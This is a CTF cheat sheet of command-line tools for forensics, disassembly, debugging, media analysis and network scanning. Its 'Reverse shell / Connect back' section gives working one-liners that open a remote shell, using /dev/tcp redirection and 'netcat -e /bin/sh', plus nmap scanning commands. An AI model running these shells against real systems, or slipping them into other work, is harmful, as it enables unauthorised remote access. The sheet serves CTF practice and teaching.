Concise Capture the Flag Cheat Sheet

Binaries and Metadata Extractors

Guess file type using magic	`$ file` *file*
Printable strings in binary file	`$ strings` *file*
Hexadecimal dump	`$ xxd [-c`*16* `-g`*2*`]` *file*
	`$ hexdump` *file*
	`$ od -tx1z` *file*
Binary hexadecimal editor	`$ elvis [-c"display hex"]` *file*
Extract JPEG EXIF data	`$ exiv2` *img.jpeg*
	`$ jhead` *img.jpeg*
Extract PNG metadata	`$ pngcheck -7ptv` *img.png*
List tarball contents	`$ tar -tf` *tarball.tar*
List zip contents	`$ unzip -l` *file.zip*
Extract ID3 metadata	`$ id3info` *file.mp3*

Encoding / Decoding

Encode base64	`$ base64 [`*file*`]`	
Decode base64	`$ base64 -di [`*file*`]`	
(de)code caesar's	`$ caesar [0-25]`	
Encode morse	`$ morse -s`	*message*
Decode morse	`$ morse -d --`	`... --- ...`

Hashes

md5sum	`$ md5sum` *file*
sha1sum	`$ sha1sum` *file*
sha256sum	`$ sha256sum` *file*

Unix / Linux

Extract tarball contents	`$ tar -xvf` *tarball.tar*
Remove first 3 bytes	`$ tail -c +4 [`*file*`]`
Unzip	`$ unzip` *file.zip*

Disk Images / Forensics

Mounting FS image	`$ mount` *fs.img mountpoint*
(override user/group)	`-o uid=user,gid=users`
List orphan inodes on disk image	`$ ils` *fs.img*
List deleted files on disk image	`$ fls -drp` *fs.img*
Output file contents from inode no.	`$ icat` *fs.img 1337*
(Deleted) file contents on disk img.	`$ fcat` *path/to/file fs.img*

Disassembly

Disassemble program	`$ objdump -d` *prog*
Dump RO data section	`$ objdump -j .rodata -s` *prog*
List symbols from program	`$ nm` *prog*
Disassemble (ndisasm)	`$ ndisasm` *prog*
Disasm. ncurses	`$ TERM=vt100 biew` *prog*
Assembly	`nasm, yasm, gas`

Debugging

simple / command line	`$ gdb ./program`
run program	`> r [parameters] [< re > directs]`
print backtrace	`> bt`
set breakpoint on *foo*	`> b` *foo*
unset breakpoint(s)	`> delete breakpoint [no]`
next line (over)	`> n`
step line (into)	`> s`
next instruction (over)	`> ni`
step instruction (into)	`> si`
activate display next instr.	`> display/i $pc`
continue execution	`> c`
save memory contents	`> generate-core-file`
advanced / graphical	`$ edb` *./program*
trace system calls	`$ strace` *./program*

Running and debugging Legacy/Other Systems

DOS

Open DOS with *dir* as C:	`$ dosbox` *dir*
(debug mode)	`$ dosbox-debug` *dir*
Run *prog* in debug mode	`C:\> debug` *prog.com*
DOSBox-debug step over	`F10`
DOSBox-debug step into	`F11`
DOSBox-debug scroll memory	`PgUp / PgDn`
DOSBox-debug scroll program	`+ / -`

Windows

Run executable	`$ wine` *prog.exe*
Debug executable	`$ winedbg` *prog.exe*
Debug executable	`$ ollydbg` *prog.exe*

IBM PC XT

Start system	`fake86 -fd0 /usr/share/fake86/rombasic.bin`

Android

dex to jar	`d2j-dex2jar` *classes.dex*
jar contents	`unzip` *classes.jar*

Image Processing

Editor (simple)	`$ pinta` *image*	
Editor (advanced)	`$ gimp` *image*	
Convert to pnm	`$` *type*`topnm` *image.type* `>` *image*`.pnm`	
pnm (ppm) format	`P6`	(type)
	`width height`	(in printable digits)
	`255`	(max color)
	`RGBRGBRGBRGBRGB...`	(× *width* × *height*)
Bar/qrcode scanner	`$ zbarimg --raw` *image.png*	
(from X selection)	`$ import` *i.png* `&& zbarimg --raw` *i.png*	
OCR in *lng* lang.	`$ tesseract [-l` *lng*`]` *i.png* `stdout`	
Crop	`$ convert -crop` *WxH+HP+VP i.png o.png*	
Montage/Concat	`$ montage -mode concatenate` **.png o.png*	

Video Processing

Extract Frames	`$ ffmpeg -i` *video.mp4 frame-%4d.jpeg*
Downl. vid. (yt/etc)	`$ youtube-dl "`*https://example.com/etc*`"`

Audio Processing

Graphical editor / waveform	`$ audacity` *audio.flac*
Spectrogram	`$ sox` *audio.flac* `-n spectrogram`
Extract notes from MIDI	`$ midi2ly` *music.midi*
Generate music sheet	`$ lilypond` *music.ly*

Decoding Phone Dialing Tones

<table>
<tr><td>Decode DTMF</td><td><pre>sox tone.ogg -esigned-integer \
    -b16 -r 22050 -t raw - |
multimon-ng -c -a DTMF -</pre></td></tr>
<tr><td>Anything else</td><td><pre>sox ... | multimon-ng</pre></td></tr>
</table>

Networking

Info about *port*	`$ cat /etc/services | grep` *`port`*

Passive scanning

Network traffic (graphical)	`$ wireshark`
Network traffic	`$ tshark -i` *`interface`* `-f` *`filter`*
List interfaces	`$ tshark -D`
Wifi HTTP traffic	`$ tshark -i wlan0 -f "port 80"`
Filter syntax	`$ man pcap-filter`
Network traffic (altn.)	`$ tcpdump`

Active scanning

Open ports on host	`$ nmap [-sV -O -p` *`prange`*`]` *`host`*
List hosts on a network	`$ nmap [-sn] 192.168.0.*`
Query *txt* DNS field	`$ nslookup -query=txt` *`example.com`*
Query DNS info (on *srv*)	`$ dig` *`[@srv]`* *`example.com`*

Interacting

Network cat (GNU/BSD)	`$ netcat host port`
Network cat (nmap altn.)	`$ ncat host port`
Telnet to *host* on *port*	`$ telnet host port`

Reverse shell / Connect back

netcat listen	`client$ netcat -vlp 1337`
Linux connect back	`$ sh >& /dev/tcp/client/1337 0>&1`
(colored)	`$ bash -i >& /dev/tcp/client/1337 0>&1`
Netcat connect back	`$ netcat -e /bin/sh localhost 1337`
(colored)	`$ nc -e "/bin/bash -i" localhost 1337`

Keyboard Scan Codes (US QWERTY)

	00	10	20	30	40	50
+0	error	q	d	b	F6	KP 2
+1	Esc	w	f	n	F7	KP 3
+2	1	e	g	m	F8	KP 0
+3	2	r	h	, <	F9	KP Del
+4	3	t	j	. >	F10	SysRq
+5	4	y	k	/ ?	NmLck	–
+6	5	u	l	RShift	ScLck	–
+7	6	i	: ;	KP *	KP 7	F11
+8	7	o	' "	LAlt	KP 8	F12
+9	8	p	‘	Space	KP 9	–
+a	9	{ [	LShift	CaLck	KP -	–
+b	0	] }	\ |	F1	KP 4	–
+c	- _	Enter	z	F2	KP 5	–
+d	+ =	LCtrl	x	F3	KP 6	–
+e	Back	a	c	F4	KP +	–
+f	Tab	s	v	F5	KP 1	–

Number/character conversion

	Ruby	Haskell
lib		`import Data.Char`
char to int	`'a'.ord`	`ord 'a'`
int to char	`0x61.chr`	`chr 0x61`

from hexadecimal	`"FF".to_i(16)`	`foldl1 (\x y -> x*16 + y)`
		`. map digitToInt $ "FF"`

to hexadecimal	`255.to_s(16)`	`map intToDigit . reverse`
		`. unfoldr`
		`  (\n -> listToMaybe`
		`   [ swap $ n ‘divMod‘ 16`
		`   | n /= 0 ])`
		`$ 255`

Dates

Unix to Human	`date -d "@seconds"`
Human to Unix	`date -d "YYYY-mm-dd HH:MM:SS" -f +%s`

Stuff to install (Arch Linux)

Image processing	`$ pacman -S pinta gimp netpbm`
Image metadata	`$ pacman -S jhead exiv2 pngcheck`
Barcode	`$ pacman -S zbar`
Disk image	`$ pacman -S sleuthkit libewf`
Networking (act.)	`$ pacman -S {gnu,openbsd}-netcat nmap`
Networking (psv.)	`$ pacman -S wireshark-{cli,gtk} tcpdump`
OCR	`$ pacman -S tesseract tesseract-data-eng`
Encoding/Decoding	`$ pacman -S bsdgames`
8086 emulator	`$ pacman -U fake86-???.pkg.tar.gz # AUR`
Dial Tones	`$ pacman -S archassault/multimon-ng`
Android	`$ pacman -S archassault/dex2jar`
Tools available	`$ pacman -Ql` *`somekit`* `| grep /bin/`

Other stuff

SQLi	`https://github.com/sqlmapproject/sqlmap`